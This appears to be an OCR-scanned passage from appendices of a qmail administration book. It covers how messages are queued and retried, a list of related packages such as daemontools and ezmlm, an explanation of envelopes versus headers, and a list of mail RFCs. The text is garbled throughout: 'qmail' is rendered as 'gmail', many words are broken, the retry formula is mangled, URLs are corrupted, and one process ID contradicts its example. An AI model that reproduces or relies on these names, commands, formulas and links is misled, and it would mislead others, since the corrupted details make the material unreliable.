gmail-queue expects the envel ope recipient addresses to be fully specified, including alocd part (username, dias,
extenson address), an @, and afully qualified domain name.

gmail-queue adds a Recelved fidd to the message that looks like this:.

Recei ved: (qmail 16707 invoked fromnetwork); 8 Aug 2001 16:02: 00 -0000

where

1607 is gmail-queue's process ID.

invoked from network means gmail-queue was invoked by user gmaild.

8 Aug 2001 16:02:00 -0000 is the time and date at which gmail-queue processed the message.

The invoked from phrase may aso indicate that gmail-queue was invoked by the user dias viagmail-locdl (invoked
by dias) or user gmailsviagmail-send (invoked for bounce).

How Messages Are Placed in the Queue

To guarantee reliability, placing messagesin the queueisdonein four stages.

1.



A fileiscreated in /var/gmail/queue/pid named after gmail-queue's process ID. Thefile system assignsthefile
an inode number guaranteed to be unique on that file system. Thisisgmail's queue ID for the message.

The pid/pid fileis renamed to mess/'split/inode, and the message iswritten to thefile.

Note
split isthe remainder left from dividing
Inode by the compile-time configuration
setting conf-split. For example, if inode
IS 95 and conf-split isthe default, 23,
then split is3 (95 divided by 23is4
with aremainder of 3.) Computer
scientigts cdl this operation modulo.

Thefileintd/inode is created and the envelope iswritten to it.

intd/inode is linked to todo/inode.

At the moment todo/inode is crested, the message has been queued. gmail-send eventudly (within 25 minutes)
notices the new message, but to speed things up, gmail-queue writes a single byte to lock/trigger, anamed pipe that
gmail-send watches. When trigger contains readable data, gmail-send is awakened, emptiestrigger, and scansthe
todo directory.

gmail-queuekillsitsdf if it hasn't successfully completed queuing the message after 24 hours.
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Sending Modules

Now well look at the modules comprising the sending function: gmail-send, gmail-Ispawn, gmail-rspawn,
gmail-locd, and gmail-remote.

gmail-send

gmail-send isthe heart of gmail. It processes messages in the queue and digpatches them to gmail-rspawn and
gmail-lspawn. Chapter 5, "Managing gmail," covers gmail-send, but well examine gmail-send's functionsin the order
that a message in the queue would experience them: preprocessing, ddlivery, and cleanup.

Preprocessing

Preprocessing, like queuing, isdonein stages.
1

Upon discovering todo/inode, gmail-send ddletes info/split/inode, local/split/inode, and remote/ split/inode,
if they exit.

A new info/split/inode is created, containing the envelope sender address.
If the message haslocal recipients, they're added to local/split/inode.
If the message has remote recipients, they're added to remote/ split/inode.

intd/inode and todo/inode are del eted.
At the moment todo/inode is deleted, the message is considered preprocessed.

Recipients are consdered locd if the domainislisted in control/locas or the entire recipient or domainislistedin
control/virtualdomains. If therecipient isvirtud, theloca part of the addressisrewritten as specified in virtuadomains.



Delivery

Initidly, dl recipientsinlocad/split/inode and remote/ split/inode are marked not done, meaning that gmail-send
should attempt to deliver to them. On its own schedule, gmail-send sends delivery commands to gmail-Ispawn and
gmail-rgpawn using channels set up by gmail-gtart. When it receives responses from gmail- Ispawn or gmail-rgpawn
that indicate successful ddlivery or permanent error, gmail-send changestheir statusin local/split/inode or remote/
split/inode to done, meaning that it should not attempt further deliveries. When gmail-send receives a permanent
error, it dso records that in bounce/ split/inode.

Bounce messages are d so handled on gmail-send's schedule. Bounces are handled by injecting a bounce message
based on mess/ split/inode and bounce/ split/inode, and deleting bounce/ split/inode.

When dl of therecipientsin loca/split/inode or remote/ split/inode are marked done, the respective local or remote
fileisremoved.

Retry Schedules

gmail-send uses asmple formulato determine the times a which messagesin the queue areretried. If attempts isthe
number of failed ddivery attempts so far, and birth isthe time a which amessage entered the queue (determined
from the creation time of the queue/infofile), then:

nextretry = birth + (attempts c)2
where cisaretry factor equa to 10 for loca ddliveries and 20 for remote ddliveries. Table A-2 showsthe complete
retry schedule for aremote message that's never successfully delivered, with the default queuelifetime of 604,800

seconds.

Table A-2: Remote Message Retry Schedule

DELIVERY ATTEMPT SECONDS DAY-HOUR:MIN:SEC
1 0|0-00:00:00
2 400 |0-00:06:40
3 1,600 |0-00:26:40
4 3,600 |0-01:00:00
5 6,400 0-01:46:40




6 10,000 |0-02:46:40
7 14,400 |0-04:00:00
8 19,600 |0-05:26:40
9 25,600 |0-07:06:40
10 32,400 |0-09:00:00
11 40,000 |0-11:06:40
12 48,400 |0-13:26:40
13 57,600 |0-16:00:00
14 67,600 |0-18:46:40
15 78,400 |0-21:46:40
16 90,000 |1-01:00:00
17 102,400 |1-04:26:40
18 115,600 1-08:06:40
19 129,600 |1-12:00:00
20 144,400 |1-16:06:40
21 160,000 |1-20:26:40




22 176,400 (2-01:00:00
23 193,600 (2-05:46:40
24 211,600 |2-10:46:40
25 230,400 |2-16:00:00
26 250,000 |2-21:26:40
27 270,400 |3-03:06:40
28 291,600 |3-09:00:00
29 313,600 3-15:06:40
30 336,400 |3-21:26:40
31 360,000 |4-04:00:00
32 384,400 4-10:46:40
33 409,600 4-17:46:40
34 435,600 |5-01:00:00
35 462,400 |5-08:26:40
36 490,000 5-16:06:40
37 518,400 6-00:00:00




38 547,600 |6-08:06:40

39 577,600 |6-16:26:40

40 608,400 | 7-01:00:00

Theloca message retry scheduleis similar, but because of the lower ¢, messages are retried twice as often.
Cleanup

When both local/split/inode and remote/ split/inode have been removed, the message is dequeued by:
1.

Processing bounce/ split/inode, if it exigts.

Ddeting info/split/inode.

Deeting mess/ split/inode.

Partialy queued and partially dequeued messages | eft when a system crash interrupts gmail-queue or gmail-send are
deleted by gmail-send using gmail-clean, another long-running daemon started by gmail-start. Messages with amess/
split/inode file and possibly an intd/inode but no todo, info, local, remote, or bounce are safe to delete after 36 hours
because gmail-queuekillsitsef after 24 hours. Similarly, filesin the pid directory more than 36 hoursold aredso
deleted.

L ocal Sending Modules

Messagesto be ddlivered locally are passed from gmail-send to gmail-Ispawn, which invokes gmail-local to perform
the ddivery.

gmail-lspawn

gmail-lspawn reads delivery commands from gmail-send on file descriptor O (zero), invokes gmail-locdl to ddliver the
messages, and reports the results to gmail-send on descriptor 1 (one).



Before invoking gmail-locd, gmail-Ispawn determines which local user controls the address so gmail-local can be
started with the necessary user ID and group ID. gmail-lspawn first checks the gmail-users database, users/cdb. If
the addressis not listed there, it runs gmail-getpw. If gmail-getpw doesn't find amatching user, it gives control of the
addressto the dias user.

gmail-local

gmail-loca accepts a message on standard input with envelope information, delivery location, and default ddivery
instructions supplied as arguments. Before attempting ddlivery, it constructs a Ddlivered-To field based on the
envel ope and checks the message for an identical Ddlivered-To fidd. If it finds one, it bounces the message to
prevent amail loop. Chapter 4, "Using gmail," detailsthe actud delivery process. If the ddlivery is successful,
gmail-local returns an exit status of O (zero). All other codesindicate either permanent or temporary failure.

Remote Sending Modules

Messages to be delivered remotely are passed from gmail-send to gmail-rgpawn, which invokes gmail-remote to
perform the ddivery.

gmail-rspawn

gmail-rspawn reads delivery commands from gmail-send on file descriptor 0 (zero), invokes gmail-remote to deliver
the messages, and reports the results to gmail-send on descriptor 1 (one).

gmail-remote

gmail-remote accepts amessage on standard input with envelope information supplied as arguments. After attempting
to deliver the message remotely via SMTP, it summarizesits results viareports printed to standard output. Chapter 5,
"Managing gmall," explainsthe format of these reports.

The remote host is specified as one of gmalil-remote's arguments. It can be either afully quaified domain nameor an
|P address. If it'sadomain name, gmail-remote checks the Domain Name System (DNS) for amail exchanger (MX)
record for that domain. If the remote host islisted in control/smtproutes, gmail-remote uses the host specified in
smtproutes.
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Appendix B: Related Packages

Qmail isacomplete Mail Transfer Agent (MTA), but many packages were either designed specifically to add new
functionality to gmail or smply work well with gmail. This appendix lists some of these packages, describesthem
briefly, and provides links for more information.

The unofficid gmail home page, http:/mww.gmail.org/, isthe definitive collection of information about gmail-related
packages.

checkpassword

checkpassword is the authenti cation package used by gmail-pop3d (redlly gmail-popup). The standard
checkpassword package by Daniel Bernstein (http://cr.yp.to/checkpwd.html) authenticates users with the Unix

password file.

Many dternative checkpassword implementations support other authentication mechanismsincluding Lightweight
Directory Access Protocol (LDAP), Structured Query Language (SQL) databases, Pluggable Authentication
Modules (PAM), Authenticated POP (APOP), and dedicated POP password files. The unofficia gmail home page
contains a checkpassword section with links to these alternative implementations (
http:/Aww.gmail.org/top.html#checkpassword).

Tip
To verify that your checkpassword
program is authenticating properly, you
can test it from the command lineusing
Perl. For example, if user paul's
password is Lauren& Natalie, the
command perl -e 'printf
"%09\0%s\099\0", "paul”,
"Lauren& Natalie"" |
/bin/checkpassword echo OK 3<&0
will output "OK" if the authentication
succeeds and nothing if it fails.
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Courier-IMAP

Courier-IMAP isan Internet Mail Access Protocol (IMAP) server often used with gmail because it supports maildir
mailboxes. Chapter 10, "Serving Mailboxes," coversingaling, configuring, and using Courier-IMAP.

Courier-IMAP was written by Sam Varshavchik, who maintains aWeb page for it (
http://mwww.inter7.com/courierimap/).
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daemontools

The daemontool s package contains aset of utilities for controlling and monitoring services. It's highly recommended,
especidly for busy systems. Key utilitiesincluded are:

supervise, which monitorsaservice and restartsit if it dies

svscan, which monitors a service directory and starts supervise

svc, which talks to supervise and alows one to stop, pause, or restart a service

multilog, which maintainsalog for aservice, automaticaly rotating it to keep it under the configured sze

setuidgid, which runs a program for the superuser with anormal user's user and group 1Ds

Gerrit Pape distributes the documentation for daemontools as man pages from http://innominate.org/~pape/djb/.

daemontools was written by Daniel Bernstein, who maintains a\Web page for it (http://cr.yp.to/daemontools.html).
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djbdns

djbdnsisaDomain Name System (DNS) server created by gmail's author, Daniel Berngtein. Like gmail, it provides
asecure, reliable, efficient, and modular dternative to the de facto standard, which in this case is Berkeley Internet
Name Daemon (BIND).

If you're running BIND now either for providing authoritative name service for your domain(s) or as a caching-only
server for improving lookup performance you should consider switching to djbdnsfor the same reasonsthat you're
running gmall.

Even if you're not running aname server, you should ingtd| djbdns and run dnscache to enhance DNS lookup
performance for al applications not just gmail and reduce outgoing DN S traffic.

Theofficia djbdns Web siteis http://cr.yp.to/djbdns.html. The unofficid djbdns Web ste (http://mww.djbdns.org/) is
another valuable resource, asis"Life with djbdns," adjbdns manua available on the Web (
http:/Aww.lifewithdjbdns.org/).
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dot-forward

Sendmail uses .forward filesto alow usersto control the delivery of messagesthey receive. gmail usesasmilar
mechanism: .gmail files. The dot-forward package gives gmail the ability to use .forward files. Systems running
Sendmail or any other MTA that uses .forward files might want to consider using dot-forward to avoid having to
convert exiging .forward filesto their .gmail equivaents or smply to make the trangtion to gmail lessvisibleto their
USsers.

dot-forward isasmall package, soit's easy to indtall and configure. Chapter 7, "gmail Configuration: Advanced
Options," coversingaling and configuring dot-forward.

dot-forward was written by Daniel Berngtein, who maintains a Web pagefor it (http:/cr.yp.to/dor-forward.html).
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ezmlim

ezmim isahigh-performance, easy-to-use mailing-list manager (MLM) for gmail. If you're familiar with LISTSERV
or Mgordomo, you know what amailinglist manager does. For more information about mailing lists under gmail,
induding ingtaling, configuring, and usng ezmim, see Chapter 9, "Managing Mailing Ligs"

ezmlm was written by Daniel Berngtein, who maintains aWeb pagefor it (http://cr.yp.to/ezmim.html).
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ezmlim-1dx

ezmlm-idx isan add-on for ezmim that adds many useful features such as multiple message archiveretrievd, digests,
message and subscription moderation, and remote list maintenance. Chapter 9, "Managing Malling Lidts™" covers
ingaling, configuring, and using ezmlm-icx.

Fred Lindberg and Fred B. Ringd created ezmim-idx and maintain aWeb page for it (http:/mww.ezmim.org/).
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fastforward

fastforward is another Sendmail compatibility add-on. Sendmail uses a centrd dias database kept in asinglefile,
usudly /etc/dliases. gmail usesa series of dot-gmall filesin /var/gmail/dias, onefile per dias. If you're migrating to
gmail and you've got a Sendmail-format diasesfile that you don't want to convert, fast-forward gives gmail the ability
to usethe diasesfile as-is.

Chapter 7, "gmail Configuration: Advanced Options" coversingtaling and configuring fastforward. fastforward was
written by Daniel Berngtein, who maintains aWeb page for it (http:/cr.yp.to/fastforward.html).
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getmail

getmail isa POP3 client written in Python. It retrieves messages from a Post Office Protocol version 3 (POP3)
server and ddiversthem localy to maildir or mbox mailboxes or programs.

Chapter 10, "Serving Mailboxes," coversingaling, configuring, and using getmail.

getmail was written by Charles Cazabon, who maintains aWeb pagefor it (
http://www.gcc.sk.cal~charl esc/software/getmail-2.0/).
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maildrop

maildrop isamall filter smilar to Procmail. It provides a powerful filtering language and can be used in dot-gmail files
to intercept junk mail or direct mail to different mailboxes.

maildrop was written by Sam Varshavchik, who maintains a\Web pagefor it (
http://www.flounder.net/~mrsam/mail drap).
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mess822

mess822 isalibrary and set of gpplicationsfor parsing Request For Comments (RFC) 822 (currently RFC 2822)
compliant mail messages. The gpplicationsinclude:

ofmipd, aSimple Mail Transfer Protocol (SMTP) daemon that accepts messages from clients and rewrites
From fields based on a database

new-inject, agmail-inject replacement that supports user-controlled host name rewriting

iftocc, adot-gmail utility for checking whether a message was sent to a specific address

822header, 822field, 822date, and 822received, which extract information from a message

822print, pretty-prints amessage

mess822 was written by Danid Bernstein, who maintains aWeb pagefor it (http://cr.yp.to/mess822.html).
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oM ail-webmail

oMail-webmail isaWeb-based Mail User Agent (MUA) for gmail. It accesses maildir mailboxes directly, rather
than through POP3 or IMAP like some other Web-based MUAS.

oMail-webmail waswritten by Olivier Mller, who maintains aWeb pagefor it (
http://webmail .omnis.chyomail.pl ?action=about).
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oSpam

oSpam isan anti-gpam utility smilar to TMDA (see" TMDA™ in this appendix).

oSpam was written by Olivier Mller, who maintains aWeb page for it (http://omail.omnis.ch/ospamy).
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glogtools

glogtoolsisaset of utilities used for producing and anayzing logs from services managed using daemontools,
especidly gmall. Particularly handy are:

glogselect, which extracts messages from amultilog gmail-send log file from a particular sender or time period

tai6dn2tal, which converts multilog timestamps to the format that gmailanalog requires (see " gmalandog™ in
this appendix)

multitail, which digplays data gppended to anamed file, evenif thefileiscycled like multilog's current

glogtools was written by Bruce Guenter, who maintains aWeb page for it (http://untroubled.org/glogtool§/).
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gmail-autor esponder

Autoresponders are utilities run from dot-gmail filesthat send amessage in response to incoming mail. Although this
sounds like asmple task, there are many pitfalls. For example, you probably don't want to automatically respond to
messages received from mailing lists. And you certainly don't want to respond to other autoresponders, which could
quickly result in thousands of messages bouncing back and forth between the two responders.

Bruce Guenter's gmail-autoresponder avoids these pitfalls and is easy to ingtal and use. It's available on the Web (
http://untroubled.org/gmail-autoresponder/).
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gmail-gfilter

gmail-gfilter isautility that alows messagesto befiltered before they're passed to gmail-queue. Using gmail-dfilter,
programs and scripts can be used to alter messages (add or adjust header fields, for example) or refuse unwanted
messages (such as those with executable attachments).

Bruce Guenter wrote gmail-dfilter and maintains aWeb pagefor it (http://untroubled.org/gmail-dfilter/).
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Qmail-Scanner

Qmail-Scanner isavirus-scanning harnessfor gmail. It works with most commercia Unix virus scanners and includes
abuilt-in scanner that dlows administratorsto quickly and easily block Windows-based maware before it's been
added to the commercial scanner's signature database. Chapter 12, "Understanding Advanced Issues,” covers
ingaling, configuring, and usng Qmail-Scanner.

Qmail-Scanner was written by Jason Haar, who maintains aWeb page for it (http://gmail-scanner.sourceforge.net/).
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gmail-vacation

gmail-vacation is a specia-purpose autoresponder (see the " gmail-autoresponder™ section in this appendix) for
notifying senders that the recipient won't be reading their message immediately, for example, because they'reon
vacation. gmailvacation allows usersto easily enable and disable these autoresponses.

gmail-vacation was written by Peter Samuel and is available from the Web (http:/mwww.gormand.com.au/peters'tools/
).
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gmailanalog

gmailanaog processes gmail-send'slog files and produces a series of reportsthat tell you how much and what kind
of work the system isdoing. If you need statistics about how many messages are being sent or received, how big
they are, and how quickly they're being processed, gmailanaog iswhat you need.

gmailanalog relies on log-entry timestamps in the fractiona second format used by accustamp, an obsolete
time-stamping utility. To useit with logs generated by multilog, which arein Temps Atomique International 64-bit,
nanosecond precision (TAI64N) format, you'll need to trandate them into the old format. One program to do that is
availablefrom http:/Mmww.gmail.org/tai64nfrac.

gmailanalog was written by Danid Berngtein, who maintains aWeb page for it (http:/cr.yp.to/gmailanad og.html).

Using gmailanalog

Ingtaling gmailanaog following the directionsin INSTALL issraightforward, but running it isalittle tricky, especidly
because it doesn't understand TAIG4N timestamps:

1.

Frg, ingdl gmailanaog using thedirectionsin INSTALL.

Download tai64nfrac to /us/local/src/tai64ntrac.c, edit the file and remove everything above theline
containing /* $ld$. Compile the program using:

# cc -o /usr/local/bin/tai64nfrac /usr/local/src/tai64nfrac.c

Process one or more gmail-send log files through tai64nfrac. Theinput log entries should look something like
this

@00000003b88ef 5c313aeled4 status: local 0/10 renote 0/ 20

In particular, each line must start with a TAI64N timestamp (the @400000003b88ef5¢313ae1e4 part)
followed by agmail-send |og message (the status: local 0/10 remote 0/20 part).
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For example:

# tai64nfrac < /var/log/gmail/@ > logs.frac

Thelinesinlogsfrac should look likethis

998829906. 825942500 status: |local 0/10 renpte 0/ 20

Process the fractiona -timestamp log file using matchup. Because thelog files may contain entriesfor
messages that haven't been delivered yet, matchup will write those entriesto file descriptor 5. Savethemto a
filefor incluson in the next matchup run. For example:

# /usr/1ocal / gmail anal og/ bi n/ mat chup < logs.frac > | ogs. match 5> | ogs. cont

Each lineinlogs.match containsal of the rlevant information for asingle ddlivery attempt.

Usethe scriptsin /usr/loca/gmailanad og/bin with names starting with z to produce areport from logs.match.
For example, to produce an over-al summary report:

/usr/local /gmai |l anal og/ bi n/ zoveral | < | ogs. match

Each report includes an explanation of its output.

Usethe scriptsin /usr/local/gmailanad og/bin with names starting with x to extract entriesfor particular
messages, senders, or recipients. These extracted entries can then be passed through a z script. For example,
for areport on the recipient hosts of messages from root@dol phin.example.com, you could do this:

# cd /usr/local /gmail anal og
# bi n/ xsender root @ol phin. exanple.com< |og.match | bin/zrhosts
.report.
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safecat

safecat reliably delivers amessage to amaildir mailbox. It's useful for filing messages using filters such as Procmail.
For example, the following recipe files al messagesin $SHOME/Maildir:

: Ow
| safecat Maildir/tnp Maildir/new

safecat was written by Len Budney, who maintains aWeb pagefor it (
http://mww.pobox.com/~l budney/linux/software/safecat.ntml).
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serialmail

gmail was designed for systems with full-time, high-speed connectivity. seridmail isa set of toolsthat help adapt
gmalil to intermittent, low-speed connectivity. With seridmail on such asystem, gmail can be configured to ddliver dl
remote mail to asingle spool maildir. The seridmail maildirsmtp command can be used to upload the maildir to the
Internet Service Provider's (ISPs) mail hub after the connection is brought up. If the ISP supports QM TP (see
Chapter 7, "Configuring gmail: Advanced"), maildirgmitp can aso be used.

seridmail can be used on the ISP side of adiaup connection to implement the AutoTURN mechanism, where an
SMTP connection by aclient causes the server to initiate a connection back to the client for delivering messages
queued on the server. Thisissimilar to the SMTP ETRN function but doesn't require the client to issue the ETRN
command. AutoTURN is documented inthe AUTOTURN filein the seridmail source directory.

seridmail waswritten by Danid Berngtein, who maintains aWeb page for it (http://cr.yp.to/seridmail.html).
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SqWebM ail

SgWebMail isaWeb-based MUA like oMail-webmail (seethe " oMail-webmail ™ section in this gppendix).
SgWebMail aso access maildir mailboxes directly, not through POP3 or IMAP, for improved performance.

SgWebMail was written by Sam Varshavchik, who maintains aWeb pagefor it (http:/inter7.com/sgwebmail/).
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syncdir

The syncdir package for Linux isalibrary that provides wrapped versions of the link(), open(), rename(), and
unlink() system calsthat force their changesto be written to disk immediately. Thisis useful because gmail relies
upon the Berkeley Software Digtribution (BSD) behavior of these operations to ensure that the queue is crash proof.

To usethislibrary, build and ingal the library using make and make ingtal, append -Isyncdir to the command in
conf-Id in the gmail source directory, and rebuild gmail.

syncdir was written by Bruce Guenter. It's available from the Web (http://untroubled.org/syncdir/).
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TMDA

TMDA (Tagged Message Delivery Agent) is an anti-spam tool smilar to oSpam (seethe ™ oSpam™ section in this
gppendix). TMDA dlowsthe user to maintain awhitelist, alist of pre-agpproved senders. Messages from al other
senders are held until the sender responds to a confirmation request. Because most spammers useinvaid return
addresses or are too lazy to respond to confirmation requests, their messages are not delivered.

TMDA iscovered in Chapter 8, "Controlling Junk Mall."

TMDA was written by Jason Mastder, who maintains a Web page for it (http://softwarelibertine.orgtmda).
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ucspi-tcp

gmail's SMTP server doesn't run as a stand-a one daemon. A helper program such astcpserver, inetd, or xinetd runs
asadaemon. When it receives a Transmission Control Protocol (TCP) connection to port 25, the SMTP port, it
runs gmail-smtpd.

Inetd isthe de facto standard network server "super-server.” It can be configured through /etc/inetd.conf to run
gmail-smtpd, but the recommended server tool for gmail istcpserver, whichis part of the ucspi-tcp package.
ucspi-tep isan acronym for Unix Client-Server Program Interface for TCP, and it's pronounced ooks-pie tee see pee

Chapter 2, "Ingaling gmail," compares tcpserver to inetd. Chapter 8, "Controlling Junk Mail," coversingtaling and
configuring rblsmtpd, an ucspi-tcp tool for checking DNS blackligts.

Gerrit Pape distributes the documentation for ucspi-tcp as man pages from http://innominate.org/~pape/djb/.

ucspi-tcp was written by Daniel Bernstein, who maintains a\Web page for it (http://cr.yp.to/ucspi-tcp.html).
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VMailMgr

VMalMgr (Virtud Mail Manager) isavirtua domain and virtua user management add-on for gmail. VMalMgr
alowsasingle Unix user, thevirtua domain manager, to add and remove mail usersin the domain. The virtud users
don't require Unix accounts, and can retrieve their mail via POP3 or IMAP.

Chapter 11, "Managing Virtud Domainsand Usars” coversingtaling, configuring, and usng VMallMgr.

VMailMgr was created by Bruce Guenter, who maintains aWeb site for it (http:/mww.vmailmgr.org/).
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Vpopmail

Vpopmail isavirtua domain and virtua user management add-on for gmail smilar to VMailMgr (seethe previous
Section).

Chapter 11, "Managing Virtuad Domainsand Usars" coversingaling, configuring, and using it.

Vpopmail is maintained by Ken Jones, who aso maintainsaWeb site for it (http://mww.inter7.com/vpopmail/).
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Appendix C: How Internet Mail
Works

Although internet mail is one of the most heavily used Internet services, many users and asurprising percentage of
system administrators don't really understand how it works. This appendix provides some background about how
Internet mail works and includes pointers to more detailed sources of information.

How a M essage Gets from Point A to Point B

When auser on one host sends amessage to a user on another host, many things happen behind the scenes of which
you may not be aware.

Let'ssay Alice, dice@a pha.example.com, wants to send a message to Bob, bob@beta.example.com. Here's what
heppens.

1.

Alice composes the message with her mail user agent (MUA), something such as Mutt or Pine. She specifies
therecipientinaTo field, the subject of the message in a Subject field, and the text of the message itsdif. It
looks something likethis:

To: bob@et a
Subj ect: lunch

How about pizza?

2.

When she's satisfied with the message, shetellsthe MUA to send it.

At thispoint, the MUA can add additional header fields such as Date and M essage-1d and modify the values
Alice entered (for example, it could replace bob@beta with Bob <bob@hbeta.example.com>).

Next, the MUA injects the message into the mail system in one of two ways: It can run aprogram provided
by the mail system for the purpose of injecting messages, or it can open a connection to the Smple Mall



Transfer Protocol (SMTP) port on either the loca system or aremote mail server. For this example, well
assumethe MUA usesalocd injection program to pass messagesto the MTA. The detals of theinjection
processvary by MTA, but on Unix systemsthe sendmail program isa de facto standard. With this program,
the MUA puts the header and body in afile, separated by ablank line, and passes the file to the sendmail

program.

If the injection succeeds the message was syntactically correct and sendmail wasinvoked properly the
message is now the MTA'srespongbility. Details vary greatly by MTA, but generally the MTA on dpha
examines the header to determine where to send the message, opens an SM TP connection to beta, and
forwards the message to the M TA on the beta system. The SMTP did ogue requires messagesto be sent in
two parts: the envel ope, which specifies the recipient's address (bob@beta.example.com) and the return
address (adice@a pha.example.com), and the message itsdlf, which consists of the header and body.

If the betaMTA rejects the message, perhaps because there's no user bob on the system, the MTA on dpha
sends a bounce message to the return address, aice@al pha.example.com, to notify her of the problem.

If the beta MTA accepts the message, it looks at the recipient's address, determines whether it'slocal to beta
or on aremote system. Inthiscasg, it'slocal, so the MTA ether deliversthe message itsdlf or passesittoa
message ddivery agent (MDA) like /bin/mail, gmail-loca, or Procmail.

If the ddlivery fails, perhaps because Bob has exceeded his mail quota, the betaMTA sends abounce
message to the envel ope return address, aice@al pha.example.com.

If the delivery succeeds, the message waitsin Bob's mailbox until hisMUA readsit and displaysit.
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Envelopesvs. Headers

When you send aletter by "snail mail” the old-fashioned physica ddivery method you write aletter that looks
something likethis

To: Jane Doe
123 Main Street
Springfield, Anystate 99999

Dear Jane,
Bl ah bl ah bl ah.

Your friend, John Q Public

Y ou then place the | etter in an envel ope with Jane's address, and your address so the postal service can return your
letter to you if can't it deliver it for some reason.

Internet mail works much the same. When you send aletter by e-mail you construct amessage that lookslikethis:

From "John Q Public" <jqgpublic@sp.exanple.net>
To: "Jane Doe" <jane@oe. exanpl e. con»
Subj ect: Bl ah

Bl ah bl ah bl ah.

-John

When you hit the Send button on your MUA, either the MUA or the M TA that receives the message constructs an
envelopefor it. Aswith snall mail, the envelope contains the recipient's address which isrequired for deivering the
message, of course and the sender's address, which might be necessary for notifying the sender that the letter was
undeliverable. Unlike snail mail, the Internet mail envelope does not require astamp.

Because the envelope is congtructed automatically for the user, many usersdon't even redlize it exigts. They
mistakenly believe that the header of the message is the envelope. This bdief worksfine for smple person-to-person
messages such as the onein the previous example, where the envelope is constructed from the header. It fails
miserably when that's not the case, such as most spam, messages recelved from mailing lists, and messages received
viaBcc (blind carbon copy).

For example, let'slook a message sent with a Bec header field. The most common implementation of Bec isfor the
sending MUA/MTA to strip the Bece field from the message after adding the addresses listed to the envelope. So, a
message that lookslikethis:



From "John Q Public" <jqgpublic@sp.exanple.net>
To: "Jane Doe" <jane@oe. exanpl e. con»

Bcc: "John Doe" <john@loe. exanpl e. con>

Subj ect: Bl ah

Bl ah bl ah bl ah. ..

-John

when it's submitted by the sender, arrivesin both recipients mailboxes without the Bec field. Thisis accomplished by
creating an envelope that looks like this:

Sender : j gpubl i c@ sp. exanpl e. net
Reci pi ent s: j ane@loe. exanpl e. com john@loe. exanpl e. com

MTAs have different ways of storing the envelopes of messagesin their queues. With gmail, envelope senders are
stored under /var/gmail/queue/info, loca recipients are stored under /var/gmail/queue/loca, and remote recipients are
stored under /var/gmail/queue/remote. Messages (header plus body) are stored under /var/gmail/queue/mess.

When messages are sent viaSM TP, the MAIL command is used to send the envelope sender, and the RCPT
command is used to send envelope recipients. Messages are sent using the DATA command, which must be
preceded by the MAIL and RCPT commands.
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Finding More I nfor mation

For information about how Internet mail works, see one or more of the following documents by the author of gmail:

Internet mall (http://cr.yp.to/im.html)

SMTP (http://cr.yp.to/smip.html)

Internet mail message header format (http://cr.yp.to/immhf.html)

Detailed information about the Internet mail standard is contained in the Requests for Comment (RFCs).

Internet Mail RFCs

RFCsarethe official documentation of the Internet. Most of these are well beyond the commentary stage and
actualy define Internet protocols such asthe Transmission Control Protocol (TCP), the File Transfer Protocol
(FTP), Telnet, and the various mail standards and protocols.

RFC 821, Simple Mail Transfer Protocol, obsoleted by RFC 2821 http://mww.ietf.org/rfc/rfc0821. txt

RFC 822, Standard for the Format of ARPA Internet Text Messages, obsoleted by RFC 2822
http:/AMww.ietf .org/rfc/rfc0822.txt

RFC 931, Authentication Server http:/mww.ietf.org/rfc/rfc0931.txt

RFC 974, Mail Routing and the Domain System http:/mwww.ietf.org/rfc/rfc0974.txt

RFC 1123, Requirements for Internet Hosts Application and Support http:/Aww.ietf.org/rfc/rfcl123.ixt

RFC 1413, Identification Protocol http:/Aww.ietf.org/rfc/rfcl413.txt

RFC 1423, Privacy Enhancement for Internet Electronic Mail: Part 111: Algorithms, Modes, and Identifiers


http://cr.yp.to/im.html
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http://www.ietf.org/rfc/rfc0931.txt
http://www.ietf.org/rfc/rfc0974.txt
http://www.ietf.org/rfc/rfc1123.txt
http://www.ietf.org/rfc/rfc1413.txt

http:/Mmww.ietf .org/rfc/rfcl423.txt

RFC 1651, SMTP Service Extensions http://www.ietf.org/rfc/rfc1651.txt

RFC 1652, SMTP Service Extension for 8bit-MIMEtransport http://mww.ietf.org/rfc/rfc1652.txt

RFC 1806, Content-Disposition Header http://mww.ietf.org/rfc/rfc1806.txt

RFC 1854, SMTP Service Extension for Command Pipelining http:/mwww.ietf.org/rfc/rfc1854.txt

RFC 1891, SMTP Service Extension for Delivery Status Notifications http:/mwww.ietf.org/rfc/rfc1891.txt

RFC 1892, The Multipart/Report Content Type for the Reporting of Mail System Administrative Messages
http://Mwww.ietf.org/rfc/rfc1892.txt

RFC 1893, Enhanced Mail System Status Codes http://www.ietf.org/rfc/rfc1893.txt

RFC 1894, An Extensible Message Format for Delivery Status Notifications
http://www.igtf .org/rfc/rfc1894.txt

RFC 1939, Pogt Office Protocol, Version 3 http:/mww.ietf.org/rfc/rfc1939.ixt

RFC 1985, SMTP Service Extension for Remote Message Queue Starting (ETRN)
http:/Amww.ietf.org/rfc/rfc1985.txt

RFC 1991, PGP Message Exchange Formats http:/Aww.ietf.org/rfc/rfc1991.txt

RFC 2015, MIME Security with Pretty Good Privacy (PGP) http://mww.ietf.org/rfc/rfc2015.txt

RFC 2045, MIME Internet Message Bodies http://mww.ietf.org/rfc/rfc2045.txt

RFC 2046, MIME Media Types http://mww.ietf.org/rfc/rfc2046.txt

RFC 2047, MIME Headers http://mww.ietf.org/rfc/rfc2047.ixt

RFC 2048, MIME Registration Procedures http://Awww.ietf.org/rfc/rfc2048.txt

RFC 2049, MIME Conformance Criteria http:/Aww.ietf.org/rfc/rfc2049.txt
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RFC 2142, Mailbox Names for Common Services http:/www.igtf .org/rfc/rfc2142.txt

RFC 2183, Content Disposition Header http:/Aww.ietf.org/rfc/rfc2183.txt

RFC 2821, Smple Mail Transfer Protocol http://mww.ietf.org/rfc/rfc2821.txt

RFC 2822, Internet Message Format http://www.ietf.org/rfc/rfc2822.txt

A comprehensive ligt of mail-related RFCsis available from the Internet Mail Consortium at
http:/AMww.imc.org/mail-standards.html .
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Appendix D: gmail Features

Chapter 1 listed gmail'sfeaturesin areadable, newbie-friendly format. This gppendix doesit againin more detail. If
you really need to understand afeature, perhapsto explain it to someone else, this gppendix should help. This should
aso help explain the festure list on the officid gmail Web ste (http://cr.yp.to/gmail.html).

Setup Features

gmail includes the following setup features:

Adaptable. During the build process, gmail automatically adaptsitsaf to most Unix and Linux distributions,
obviating the need for manua porting by a system programmer.

Automatic configuration. Basc per-host configuration is done automaticaly by gmail using the config and
config-fast scripts.

Quick ingtallation. Setting up abasicingtdlation iseasy and doesn't require lots of decision making.

< Free Open Study >



http://cr.yp.to/qmail.html
http://cr.yp.to/qmail.html

< Free Open Study >

Security Features

gmail includes the following security festures.

